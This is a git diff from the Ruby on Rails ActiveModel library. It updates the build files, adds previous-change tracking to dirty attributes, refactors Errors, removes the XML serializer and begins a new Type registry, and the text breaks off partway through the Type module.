for the Ruby on Rails project here: Feature requests should be discussed on the rails-core mailing list here: * https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core - diff --git a/activemodel/Rakefile b/activemodel/Rakefile index 7256285a41..9982d49bcb 100644 --- a/activemodel/Rakefile +++ b/activemodel/Rakefile @@ -1,9 +1,12 @@ -dir = File.dirname(__FILE__) - require 'rake/testtask' +dir = File.dirname(__FILE__) + task :default => :test +task :package +task "package:clean" + Rake::TestTask.new do |t| t.libs << "test" t.test_files = Dir.glob("#{dir}/test/cases/**/*_test.rb") @@ -19,18 +22,3 @@ namespace :test do end or raise "Failures" end end - -require 'rubygems/package_task' - -spec = eval(File.read("#{dir}/activemodel.gemspec")) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -desc "Release to rubygems" -task :release => :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec index 1a16f2a1ed..1c3997b864 100644 --- a/activemodel/activemodel.gemspec +++ b/activemodel/activemodel.gemspec @@ -7,18 +7,16 @@ Gem::Specification.new do |s| s.summary = 'A toolkit for building modeling frameworks (part of Rails).' s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*'] s.require_path = 'lib' s.add_dependency 'activesupport', version - - s.add_dependency 'builder', '~> 3.1' end diff --git a/activemodel/bin/test b/activemodel/bin/test new file mode 100755 index 0000000000..404cabba51 --- /dev/null +++ b/activemodel/bin/test @@ -0,0 +1,4 @@ +#!/usr/bin/env ruby +COMPONENT_ROOT = File.expand_path("../../", __FILE__) +require File.expand_path("../tools/test", COMPONENT_ROOT) +exit Minitest.run(ARGV) diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb index 8aa1b6f664..7de259a60d 100644 --- a/activemodel/lib/active_model.rb +++ b/activemodel/lib/active_model.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2015 David Heinemeier Hansson +# Copyright (c) 2004-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -49,6 +49,7 @@ module ActiveModel eager_autoload do autoload :Errors + autoload :RangeError, 'active_model/errors' autoload :StrictValidationFailed, 'active_model/errors' autoload :UnknownAttributeError, 'active_model/errors' end @@ -58,7 +59,6 @@ module ActiveModel eager_autoload do autoload :JSON - autoload :Xml end end diff --git a/activemodel/lib/active_model/attribute_assignment.rb b/activemodel/lib/active_model/attribute_assignment.rb index 087d11f708..62014cd1cd 100644 --- a/activemodel/lib/active_model/attribute_assignment.rb +++ b/activemodel/lib/active_model/attribute_assignment.rb @@ -27,7 +27,7 @@ module ActiveModel if !new_attributes.respond_to?(:stringify_keys) raise ArgumentError, "When assigning attributes, you must pass a hash as an argument." end - return if new_attributes.blank? + return if new_attributes.nil? || new_attributes.empty? attributes = new_attributes.stringify_keys _assign_attributes(sanitize_for_mass_assignment(attributes)) diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb index 96be551264..cc6285f932 100644 --- a/activemodel/lib/active_model/attribute_methods.rb +++ b/activemodel/lib/active_model/attribute_methods.rb @@ -1,4 +1,4 @@ -require 'thread_safe' +require 'concurrent/map' require 'mutex_m' module ActiveModel @@ -23,7 +23,7 @@ module ActiveModel # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to: # # * <tt>include ActiveModel::AttributeMethods</tt> in your class. - # * Call each of its method you want to add, such as +attribute_method_suffix+ + # * Call each of its methods you want to add, such as +attribute_method_suffix+ # or +attribute_method_prefix+. # * Call +define_attribute_methods+ after the other methods are called. # * Define the various generic +_attribute+ methods that you have declared. @@ -225,9 +225,9 @@ module ActiveModel end # Declares the attributes that should be prefixed and suffixed by - # ActiveModel::AttributeMethods. + # <tt>ActiveModel::AttributeMethods</tt>. # - # To use, pass attribute names (as strings or symbols), be sure to declare + # To use, pass attribute names (as strings or symbols). Be sure to declare # +define_attribute_methods+ after you define any prefix, suffix or affix # methods, or they will not hook in. # @@ -239,7 +239,7 @@ module ActiveModel # # # Call to define_attribute_methods must appear after the # # attribute_method_prefix, attribute_method_suffix or - # # attribute_method_affix declares. + # # attribute_method_affix declarations. # define_attribute_methods :name, :age, :address # # private @@ -253,9 +253,9 @@ module ActiveModel end # Declares an attribute that should be prefixed and suffixed by - # ActiveModel::AttributeMethods. + # <tt>ActiveModel::AttributeMethods</tt>. # - # To use, pass an attribute name (as string or symbol), be sure to declare + # To use, pass an attribute name (as string or symbol). Be sure to declare # +define_attribute_method+ after you define any prefix, suffix or affix # method, or they will not hook in. # @@ -267,7 +267,7 @@ module ActiveModel # # # Call to define_attribute_method must appear after the # # attribute_method_prefix, attribute_method_suffix or - # # attribute_method_affix declares. + # # attribute_method_affix declarations. # define_attribute_method :name # # private @@ -342,7 +342,7 @@ module ActiveModel private # The methods +method_missing+ and +respond_to?+ of this module are # invoked often in a typical rails, both of which invoke the method - # +match_attribute_method?+. The latter method iterates through an + # +matched_attribute_method+. The latter method iterates through an # array doing regular expression matches, which results in a lot of # object creations. Most of the time it returns a +nil+ match. As the # match result is always the same given a +method_name+, this cache is @@ -350,7 +350,7 @@ module ActiveModel # significantly (in our case our test suite finishes 10% faster with # this cache). def attribute_method_matchers_cache #:nodoc: - @attribute_method_matchers_cache ||= ThreadSafe::Cache.new(initial_capacity: 4) + @attribute_method_matchers_cache ||= Concurrent::Map.new(initial_capacity: 4) end def attribute_method_matchers_matching(method_name) #:nodoc: @@ -363,7 +363,7 @@ module ActiveModel end # Define a method `name` in `mod` that dispatches to `send` - # using the given `extra` args. This fallbacks `define_method` + # using the given `extra` args. This falls back on `define_method` # and `send` if the given names cannot be compiled. def define_proxy_call(include_private, mod, name, send, *extra) #:nodoc: defn = if name =~ NAME_COMPILABLE_REGEXP @@ -372,7 +372,7 @@ module ActiveModel "define_method(:'#{name}') do |*args|" end - extra = (extra.map!(&:inspect) << "*args").join(", ") + extra = (extra.map!(&:inspect) << "*args").join(", ".freeze) target = if send =~ CALL_COMPILABLE_REGEXP "#{"self." unless include_private}#{send}(#{extra})" @@ -419,7 +419,7 @@ module ActiveModel # returned by <tt>attributes</tt>, as though they were first-class # methods. So a +Person+ class with a +name+ attribute can for example use # <tt>Person#name</tt> and <tt>Person#name=</tt> and never directly use - # the attributes hash -- except for multiple assigns with + # the attributes hash -- except for multiple assignments with # <tt>ActiveRecord::Base#attributes=</tt>. # # It's also possible to instantiate related objects, so a <tt>Client</tt> @@ -429,7 +429,7 @@ module ActiveModel if respond_to_without_attributes?(method, true) super else - match = match_attribute_method?(method.to_s) + match = matched_attribute_method(method.to_s) match ? attribute_missing(match, *args, &block) : super end end @@ -454,7 +454,7 @@ module ActiveModel # but found among all methods. Which means that the given method is private. false else - !match_attribute_method?(method.to_s).nil? + !matched_attribute_method(method.to_s).nil? end end @@ -466,7 +466,7 @@ module ActiveModel private # Returns a struct representing the matching attribute method. # The struct's attributes are prefix, base and suffix. - def match_attribute_method?(method_name) + def matched_attribute_method(method_name) matches = self.class.send(:attribute_method_matchers_matching, method_name) matches.detect { |match| attribute_method?(match.attr_name) } end diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb index 2cf39b68fb..0d6a3dc52d 100644 --- a/activemodel/lib/active_model/callbacks.rb +++ b/activemodel/lib/active_model/callbacks.rb @@ -103,6 +103,7 @@ module ActiveModel def define_model_callbacks(*callbacks) options = callbacks.extract_options! options = { + terminator: deprecated_false_terminator, skip_after_callbacks_if_terminated: true, scope: [:kind, :name], only: [:before, :around, :after] diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb index 9de6ea65be..a932ada45c 100644 --- a/activemodel/lib/active_model/conversion.rb +++ b/activemodel/lib/active_model/conversion.rb @@ -40,8 +40,8 @@ module ActiveModel self end - # Returns an Array of all key attributes if any is set, regardless if - # the object is persisted or not. Returns +nil+ if there are no key attributes. + # Returns an Array of all key attributes if any of the attributes is set, whether or not + # the object is persisted. Returns +nil+ if there are no key attributes. # # class Person # include ActiveModel::Conversion diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb index c03e5fac79..90047c3c12 100644 --- a/activemodel/lib/active_model/dirty.rb +++ b/activemodel/lib/active_model/dirty.rb @@ -26,6 +26,10 @@ module ActiveModel # # define_attribute_methods :name # + # def initialize(name) + # @name = name + # end + # # def name # @name # end @@ -54,7 +58,7 @@ module ActiveModel # # A newly instantiated +Person+ object is unchanged: # - # person = Person.new + # person = Person.new("Uncle Bob") # person.changed? # => false # # Change the name: @@ -76,9 +80,11 @@ module ActiveModel # # Reset the changes: # - # person.previous_changes # => {"name" => ["Uncle Bob", "Bill"]} + # person.previous_changes # => {"name" => ["Uncle Bob", "Bill"]} + # person.name_previously_changed? # => true + # person.name_previous_change # => ["Uncle Bob", "Bill"] # person.reload! - # person.previous_changes # => {} + # person.previous_changes # => {} # # Rollback the changes: # @@ -100,10 +106,10 @@ module ActiveModel # person.changes # => {"name" => ["Bill", "Bob"]} # # If an attribute is modified in-place then make use of - # +[attribute_name]_will_change!+ to mark that the attribute is changing. + # <tt>[attribute_name]_will_change!</tt> to mark that the attribute is changing. # Otherwise \Active \Model can't track changes to in-place attributes. Note # that Active Record can detect in-place modifications automatically. You do - # not need to call +[attribute_name]_will_change!+ on Active Record models. + # not need to call <tt>[attribute_name]_will_change!</tt> on Active Record models. # # person.name_will_change! # person.name_change # => ["Bill", "Bill"] @@ -113,8 +119,12 @@ module ActiveModel extend ActiveSupport::Concern include ActiveModel::AttributeMethods + OPTION_NOT_GIVEN = Object.new # :nodoc: + private_constant :OPTION_NOT_GIVEN + included do attribute_method_suffix '_changed?', '_change', '_will_change!', '_was' + attribute_method_suffix '_previously_changed?', '_previous_change' attribute_method_affix prefix: 'restore_', suffix: '!' end @@ -167,11 +177,10 @@ module ActiveModel end # Handles <tt>*_changed?</tt> for +method_missing+. - def attribute_changed?(attr, options = {}) #:nodoc: - result = changes_include?(attr) - result &&= options[:to] == __send__(attr) if options.key?(:to) - result &&= options[:from] == changed_attributes[attr] if options.key?(:from) - result + def attribute_changed?(attr, from: OPTION_NOT_GIVEN, to: OPTION_NOT_GIVEN) # :nodoc: + !!changes_include?(attr) && + (to == OPTION_NOT_GIVEN || to == __send__(attr)) && + (from == OPTION_NOT_GIVEN || from == changed_attributes[attr]) end # Handles <tt>*_was</tt> for +method_missing+. @@ -179,6 +188,11 @@ module ActiveModel attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr) end + # Handles <tt>*_previously_changed?</tt> for +method_missing+. + def attribute_previously_changed?(attr) #:nodoc: + previous_changes_include?(attr) + end + # Restore all previous data of the provided attributes. def restore_attributes(attributes = changed) attributes.each { |attr| restore_attribute! attr } @@ -192,6 +206,12 @@ module ActiveModel end alias attribute_changed_by_setter? changes_include? + # Returns +true+ if attr_name were changed before the model was saved, + # +false+ otherwise. + def previous_changes_include?(attr_name) + previous_changes.include?(attr_name) + end + # Removes current changes and makes them accessible through +previous_changes+. def changes_applied # :doc: @previously_changed = changes @@ -209,6 +229,11 @@ module ActiveModel [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr) end + # Handles <tt>*_previous_change</tt> for +method_missing+. + def attribute_previous_change(attr) + previous_changes[attr] if attribute_previously_changed?(attr) + end + # Handles <tt>*_will_change!</tt> for +method_missing+. def attribute_will_change!(attr) return if attribute_changed?(attr) diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb index f324788979..696e6d31da 100644 --- a/activemodel/lib/active_model/errors.rb +++ b/activemodel/lib/active_model/errors.rb @@ -1,8 +1,7 @@ -# -*- coding: utf-8 -*- - require 'active_support/core_ext/array/conversions' require 'active_support/core_ext/string/inflections' require 'active_support/core_ext/object/deep_dup' +require 'active_support/core_ext/string/filters' module ActiveModel # == Active \Model \Errors @@ -33,20 +32,20 @@ module ActiveModel # send(attr) # end # - # def Person.human_attribute_name(attr, options = {}) + # def self.human_attribute_name(attr, options = {}) # attr # end # - # def Person.lookup_ancestors + # def self.lookup_ancestors # [self] # end # end # - # The last three methods are required in your object for Errors to be + # The last three methods are required in your object for +Errors+ to be # able to generate error messages correctly and also handle multiple - # languages. Of course, if you extend your object with ActiveModel::Translation + # languages. Of course, if you extend your object with <tt>ActiveModel::Translation</tt> # you will not need to implement the last two. Likewise, using - # ActiveModel::Validations will handle the validation related methods + # <tt>ActiveModel::Validations</tt> will handle the validation related methods # for you. # # The above allows you to do: @@ -82,6 +81,18 @@ module ActiveModel super end + # Copies the errors from <tt>other</tt>. + # + # other - The ActiveModel::Errors instance. + # + # Examples + # + # person.errors.copy!(other) + def copy!(other) # :nodoc: + @messages = other.messages.dup + @details = other.details.dup + end + # Clear the error messages. # # person.errors.full_messages # => ["name cannot be nil"] @@ -99,11 +110,9 @@ module ActiveModel # person.errors.include?(:name) # => true # person.errors.include?(:age) # => false def include?(attribute) - messages[attribute].present? + messages.key?(attribute) && messages[attribute].present? end - # aliases include? alias :has_key? :include? - # aliases include? alias :key? :include? # Get messages for +key+. @@ -123,9 +132,9 @@ module ActiveModel # Set messages for +key+ to +value+. # - # person.errors.get(:name) # => ["cannot be nil"] + # person.errors[:name] # => ["cannot be nil"] # person.errors.set(:name, ["can't be nil"]) - # person.errors.get(:name) # => ["can't be nil"] + # person.errors[:name] # => ["can't be nil"] def set(key, value) ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) ActiveModel::Errors#set is deprecated and will be removed in Rails 5.1. @@ -138,12 +147,12 @@ module ActiveModel # Delete messages for +key+. Returns the deleted messages. # - # person.errors.get(:name) # => ["cannot be nil"] + # person.errors[:name] # => ["cannot be nil"] # person.errors.delete(:name) # => ["cannot be nil"] - # person.errors.get(:name) # => [] + # person.errors[:name] # => [] def delete(key) - messages.delete(key) details.delete(key) + messages.delete(key) end # When passed a symbol or a name of a method, returns an array of errors @@ -151,6 +160,15 @@ module ActiveModel # # person.errors[:name] # => ["cannot be nil"] # person.errors['name'] # => ["cannot be nil"] + # + # Note that, if you try to get errors of an attribute which has + # no errors associated with it, this method will instantiate + # an empty error list for it and +keys+ will return an array + # of error keys which includes this attribute. + # + # person.errors.keys # => [] + # person.errors[:name] # => [] + # person.errors.keys # => [:name] def [](attribute) messages[attribute.to_sym] end @@ -198,6 +216,7 @@ module ActiveModel def size values.flatten.size end + alias :count :size # Returns all message values. # @@ -215,35 +234,15 @@ module ActiveModel messages.keys end - # Returns an array of error messages, with the attribute name included. - # - # person.errors.add(:name, :blank, message: "can't be blank") - # person.errors.add(:name, :not_specified, message: "must be specified") - # person.errors.to_a # => ["name can't be blank", "name must be specified"] - def to_a - full_messages - end - - # Returns the number of error messages. - # - # person.errors.add(:name, :blank, message: "can't be blank") - # person.errors.count # => 1 - # person.errors.add(:name, :not_specified, message: "must be specified") - # person.errors.count # => 2 - def count - to_a.size - end - # Returns +true+ if no errors are found, +false+ otherwise. # If the error message is a string it can be empty. # # person.errors.full_messages # => ["name cannot be nil"] # person.errors.empty? # => false def empty? - all? { |k, v| v && v.empty? && !v.is_a?(String) } + size.zero? end - # aliases empty? - alias_method :blank?, :empty? + alias :blank? :empty? # Returns an xml formatted representation of the Errors hash. # @@ -311,9 +310,9 @@ module ActiveModel # <tt>:strict</tt> option can also be set to any other exception. # # person.errors.add(:name, :invalid, strict: true) - # # => ActiveModel::StrictValidationFailed: name is invalid + # # => ActiveModel::StrictValidationFailed: Name is invalid # person.errors.add(:name, :invalid, strict: NameIsInvalid) - # # => NameIsInvalid: name is invalid + # # => NameIsInvalid: Name is invalid # # person.errors.messages # => {} # @@ -328,7 +327,7 @@ module ActiveModel # # => {:base=>[{error: :name_or_email_blank}]} def add(attribute, message = :invalid, options = {}) message = message.call if message.respond_to?(:call) - detail = normalize_detail(attribute, message, options) + detail = normalize_detail(message, options) message = normalize_message(attribute, message, options) if exception = options[:strict] exception = ActiveModel::StrictValidationFailed if exception == true @@ -347,7 +346,7 @@ module ActiveModel # # => {:name=>["can't be empty"]} def add_on_empty(attributes, options = {}) ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) - ActiveModel::Errors#add_on_empty is deprecated and will be removed in Rails 5.1 + ActiveModel::Errors#add_on_empty is deprecated and will be removed in Rails 5.1. To achieve the same use: @@ -369,7 +368,7 @@ module ActiveModel # # => {:name=>["can't be blank"]} def add_on_blank(attributes, options = {}) ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) - ActiveModel::Errors#add_on_blank is deprecated and will be removed in Rails 5.1 + ActiveModel::Errors#add_on_blank is deprecated and will be removed in Rails 5.1. To achieve the same use: @@ -406,6 +405,7 @@ module ActiveModel def full_messages map { |attribute, message| full_message(attribute, message) } end + alias :to_a :full_messages # Returns all the full error messages for a given attribute in an array. # @@ -471,7 +471,6 @@ module ActiveModel defaults = [] end - defaults << options.delete(:message) defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" if @base.class.respond_to?(:i18n_scope) defaults << :"errors.attributes.#{attribute}.#{type}" defaults << :"errors.messages.#{type}" @@ -480,13 +479,15 @@ module ActiveModel defaults.flatten! key = defaults.shift + defaults = options.delete(:message) if options[:message] value = (attribute != :base ? @base.send(:read_attribute_for_validation, attribute) : nil) options = { default: defaults, model: @base.model_name.human, attribute: @base.class.human_attribute_name(attribute), - value: value + value: value, + object: @base }.merge!(options) I18n.translate(key, options) @@ -502,7 +503,7 @@ module ActiveModel end end - def normalize_detail(attribute, message, options) + def normalize_detail(message, options) { error: message }.merge(options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS)) end end @@ -525,7 +526,20 @@ module ActiveModel class StrictValidationFailed < StandardError end + # Raised when attribute values are out of range. + class RangeError < ::RangeError + end + # Raised when unknown attributes are supplied via mass assignment. + # + # class Person + # include ActiveModel::AttributeAssignment + # include ActiveModel::Validations + # end + # + # person = Person.new + # person.assign_attributes(name: 'Gorby') + # # => ActiveModel::UnknownAttributeError: unknown attribute 'name' for Person. class UnknownAttributeError < NoMethodError attr_reader :record, :attribute diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb index b4fa378601..d2c6a89cc2 100644 --- a/activemodel/lib/active_model/forbidden_attributes_protection.rb +++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb @@ -17,8 +17,9 @@ module ActiveModel module ForbiddenAttributesProtection # :nodoc: protected def sanitize_for_mass_assignment(attributes) - if attributes.respond_to?(:permitted?) && !attributes.permitted? - raise ActiveModel::ForbiddenAttributesError + if attributes.respond_to?(:permitted?) + raise ActiveModel::ForbiddenAttributesError if !attributes.permitted? + attributes.to_h else attributes end diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb index 762f4fe939..4a8ee915cf 100644 --- a/activemodel/lib/active_model/gem_version.rb +++ b/activemodel/lib/active_model/gem_version.rb @@ -6,7 +6,7 @@ module ActiveModel module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb index 22010b517c..d86ef6224e 100644 --- a/activemodel/lib/active_model/naming.rb +++ b/activemodel/lib/active_model/naming.rb @@ -1,6 +1,7 @@ require 'active_support/core_ext/hash/except' require 'active_support/core_ext/module/introspection' require 'active_support/core_ext/module/remove_method' +require 'active_support/core_ext/module/delegation' module ActiveModel class Name @@ -163,7 +164,7 @@ module ActiveModel @route_key << "_index" if @plural == @singular end - # Transform the model name into a more humane format, using I18n. By default, + # Transform the model name into a more human format, using I18n. By default, # it will underscore then humanize the class name. # # class BlogPost @@ -191,7 +192,7 @@ module ActiveModel private def _singularize(string) - ActiveSupport::Inflector.underscore(string).tr('/', '_') + ActiveSupport::Inflector.underscore(string).tr('/'.freeze, '_'.freeze) end end @@ -225,7 +226,7 @@ module ActiveModel # (See ActiveModel::Name for more information). # # class Person - # include ActiveModel::Model + # extend ActiveModel::Naming # end # # Person.model_name.name # => "Person" diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb index 976f50b13e..70e10fa06d 100644 --- a/activemodel/lib/active_model/serialization.rb +++ b/activemodel/lib/active_model/serialization.rb @@ -31,16 +31,14 @@ module ActiveModel # of the attributes hash's keys. In order to override this behavior, take a look # at the private method +read_attribute_for_serialization+. # - # Most of the time though, either the JSON or XML serializations are needed. - # Both of these modules automatically include the - # <tt>ActiveModel::Serialization</tt> module, so there is no need to - # explicitly include it. + # ActiveModel::Serializers::JSON module automatically includes + # the <tt>ActiveModel::Serialization</tt> module, so there is no need to + # explicitly include <tt>ActiveModel::Serialization</tt>. # - # A minimal implementation including XML and JSON would be: + # A minimal implementation including JSON would be: # # class Person # include ActiveModel::Serializers::JSON - # include ActiveModel::Serializers::Xml # # attr_accessor :name # @@ -55,13 +53,11 @@ module ActiveModel # person.serializable_hash # => {"name"=>nil} # person.as_json # => {"name"=>nil} # person.to_json # => "{\"name\":null}" - # person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person... # # person.name = "Bob" # person.serializable_hash # => {"name"=>"Bob"} # person.as_json # => {"name"=>"Bob"} # person.to_json # => "{\"name\":\"Bob\"}" - # person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person... # # Valid options are <tt>:only</tt>, <tt>:except</tt>, <tt>:methods</tt> and # <tt>:include</tt>. The following are all valid examples: @@ -94,6 +90,37 @@ module ActiveModel # person.serializable_hash(except: :name) # => {"age"=>22} # person.serializable_hash(methods: :capitalized_name) # # => {"name"=>"bob", "age"=>22, "capitalized_name"=>"Bob"} + # + # Example with <tt>:include</tt> option + # + # class User + # include ActiveModel::Serializers::JSON + # attr_accessor :name, :notes # Emulate has_many :notes + # def attributes + # {'name' => nil} + # end + # end + # + # class Note + # include ActiveModel::Serializers::JSON + # attr_accessor :title, :text + # def attributes + # {'title' => nil, 'text' => nil} + # end + # end + # + # note = Note.new + # note.title = 'Battle of Austerlitz' + # note.text = 'Some text here' + # + # user = User.new + # user.name = 'Napoleon' + # user.notes = [note] + # + # user.serializable_hash + # # => {"name" => "Napoleon"} + # user.serializable_hash(include: { notes: { only: 'title' }}) + # # => {"name" => "Napoleon", "notes" => [{"title"=>"Battle of Austerlitz"}]} def serializable_hash(options = nil) options ||= {} @@ -107,7 +134,7 @@ module ActiveModel hash = {} attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) } - Array(options[:methods]).each { |m| hash[m.to_s] = send(m) if respond_to?(m) } + Array(options[:methods]).each { |m| hash[m.to_s] = send(m) } serializable_add_includes(options) do |association, records, opts| hash[association.to_s] = if records.respond_to?(:to_ary) diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb index b66dbf1afe..b64a8299e6 100644 --- a/activemodel/lib/active_model/serializers/json.rb +++ b/activemodel/lib/active_model/serializers/json.rb @@ -10,7 +10,7 @@ module ActiveModel included do extend ActiveModel::Naming - class_attribute :include_root_in_json + class_attribute :include_root_in_json, instance_writer: false self.include_root_in_json = false end diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb deleted file mode 100644 index e33c766627..0000000000 --- a/activemodel/lib/active_model/serializers/xml.rb +++ /dev/null @@ -1,238 +0,0 @@ -require 'active_support/core_ext/module/attribute_accessors' -require 'active_support/core_ext/array/conversions' -require 'active_support/core_ext/hash/conversions' -require 'active_support/core_ext/hash/slice' -require 'active_support/core_ext/time/acts_like' - -module ActiveModel - module Serializers - # == \Active \Model XML Serializer - module Xml - extend ActiveSupport::Concern - include ActiveModel::Serialization - - included do - extend ActiveModel::Naming - end - - class Serializer #:nodoc: - class Attribute #:nodoc: - attr_reader :name, :value, :type - - def initialize(name, serializable, value) - @name, @serializable = name, serializable - - if value.acts_like?(:time) && value.respond_to?(:in_time_zone) - value = value.in_time_zone - end - - @value = value - @type = compute_type - end - - def decorations - decorations = {} - decorations[:encoding] = 'base64' if type == :binary - decorations[:type] = (type == :string) ? nil : type - decorations[:nil] = true if value.nil? - decorations - end - - protected - - def compute_type - return if value.nil? - type = ActiveSupport::XmlMini::TYPE_NAMES[value.class.name] - type ||= :string if value.respond_to?(:to_str) - type ||= :yaml - type - end - end - - class MethodAttribute < Attribute #:nodoc: - end - - attr_reader :options - - def initialize(serializable, options = nil) - @serializable = serializable - @options = options ? options.dup : {} - end - - def serializable_hash - @serializable.serializable_hash(@options.except(:include)) - end - - def serializable_collection - methods = Array(options[:methods]).map(&:to_s) - serializable_hash.map do |name, value| - name = name.to_s - if methods.include?(name) - self.class::MethodAttribute.new(name, @serializable, value) - else - self.class::Attribute.new(name, @serializable, value) - end - end - end - - def serialize - require 'builder' unless defined? ::Builder - - options[:indent] ||= 2 - options[:builder] ||= ::Builder::XmlMarkup.new(indent: options[:indent]) - - @builder = options[:builder] - @builder.instruct! unless options[:skip_instruct] - - root = (options[:root] || @serializable.model_name.element).to_s - root = ActiveSupport::XmlMini.rename_key(root, options) - - args = [root] - args << { xmlns: options[:namespace] } if options[:namespace] - args << { type: options[:type] } if options[:type] && !options[:skip_types] - - @builder.tag!(*args) do - add_attributes_and_methods - add_includes - add_extra_behavior - add_procs - yield @builder if block_given? - end - end - - private - - def add_extra_behavior - end - - def add_attributes_and_methods - serializable_collection.each do |attribute| - key = ActiveSupport::XmlMini.rename_key(attribute.name, options) - ActiveSupport::XmlMini.to_tag(key, attribute.value, - options.merge(attribute.decorations)) - end - end - - def add_includes - @serializable.send(:serializable_add_includes, options) do |association, records, opts| - add_associations(association, records, opts) - end - end - - # TODO: This can likely be cleaned up to simple use ActiveSupport::XmlMini.to_tag as well. - def add_associations(association, records, opts) - merged_options = opts.merge(options.slice(:builder, :indent)) - merged_options[:skip_instruct] = true - - [:skip_types, :dasherize, :camelize].each do |key| - merged_options[key] = options[key] if merged_options[key].nil? && !options[key].nil? - end - - if records.respond_to?(:to_ary) - records = records.to_ary - - tag = ActiveSupport::XmlMini.rename_key(association.to_s, options) - type = options[:skip_types] ? { } : { type: "array" } - association_name = association.to_s.singularize - merged_options[:root] = association_name - - if records.empty? - @builder.tag!(tag, type) - else - @builder.tag!(tag, type) do - records.each do |record| - if options[:skip_types] - record_type = {} - else - record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name - record_type = { type: record_class } - end - - record.to_xml merged_options.merge(record_type) - end - end - end - else - merged_options[:root] = association.to_s - - unless records.class.to_s.underscore == association.to_s - merged_options[:type] = records.class.name - end - - records.to_xml merged_options - end - end - - def add_procs - if procs = options.delete(:procs) - Array(procs).each do |proc| - if proc.arity == 1 - proc.call(options) - else - proc.call(options, @serializable) - end - end - end - end - end - - # Returns XML representing the model. Configuration can be - # passed through +options+. - # - # Without any +options+, the returned XML string will include all the - # model's attributes. - # - # user = User.find(1) - # user.to_xml - # - # <?xml version="1.0" encoding="UTF-8"?> - # <user> - # <id type="integer">1</id> - # <name>David</name> - # <age type="integer">16</age> - # <created-at type="dateTime">2011-01-30T22:29:23Z</created-at> - # </user> - # - # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the - # attributes included, and work similar to the +attributes+ method. - # - # To include the result of some method calls on the model use <tt>:methods</tt>. - # - # To include associations use <tt>:include</tt>. - # - # For further documentation, see <tt>ActiveRecord::Serialization#to_xml</tt> - def to_xml(options = {}, &block) - Serializer.new(self, options).serialize(&block) - end - - # Sets the model +attributes+ from an XML string. Returns +self+. - # - # class Person - # include ActiveModel::Serializers::Xml - # - # attr_accessor :name, :age, :awesome - # - # def attributes=(hash) - # hash.each do |key, value| - # instance_variable_set("@#{key}", value) - # end - # end - # - # def attributes - # instance_values - # end - # end - # - # xml = { name: 'bob', age: 22, awesome:true }.to_xml - # person = Person.new - # person.from_xml(xml) # => #<Person:0x007fec5e3b3c40 @age=22, @awesome=true, @name="bob"> - # person.name # => "bob" - # person.age # => 22 - # person.awesome # => true - def from_xml(xml) - self.attributes = Hash.from_xml(xml).values.first - self - end - end - end -end diff --git a/activemodel/lib/active_model/type.rb b/activemodel/lib/active_model/type.rb new file mode 100644 index 0000000000..6ec3452478 --- /dev/null +++ b/activemodel/lib/active_model/type.rb @@ -0,0 +1,59 @@ +require 'active_model/type/helpers' +require 'active_model/type/value' + +require 'active_model/type/big_integer' +require 'active_model/type/binary' +require 'active_model/type/boolean' +require 'active_model/type/date' +require 'active_model/type/date_time' +require 'active_model/type/decimal' +require 'active_model/type/decimal_without_scale' +require 'active_model/type/float' +require 'active_model/type/immutable_string' +require 'active_model/type/integer' +require 'active_model/type/string' +require 'active_model/type/text' +require 'active_model/type/time' +require 'active_model/type/unsigned_integer' + +require 'active_model/type/registry' + +module ActiveModel + module Type + @registry = Registry.new + + class << self + attr_accessor :registry # :nodoc: + delegate :add_modifier, to: :registry + + # Add a new type to the registry, allowing it to be referenced as a + # symbol by ActiveModel::Attributes::ClassMethods#attribute. If your + # type is only meant to be used with a specific database adapter, you can + # do so by passing +adapter: :postgresql+. If your type has the same + # name as a native type for the current adapter, an exception will be + # raised unless you specify an +:override+ option. +override: true+ will + # cause your type to be used instead of the native type. +override: + # false+ will cause the native type to be used over yours if one exists. + def register(type_name, 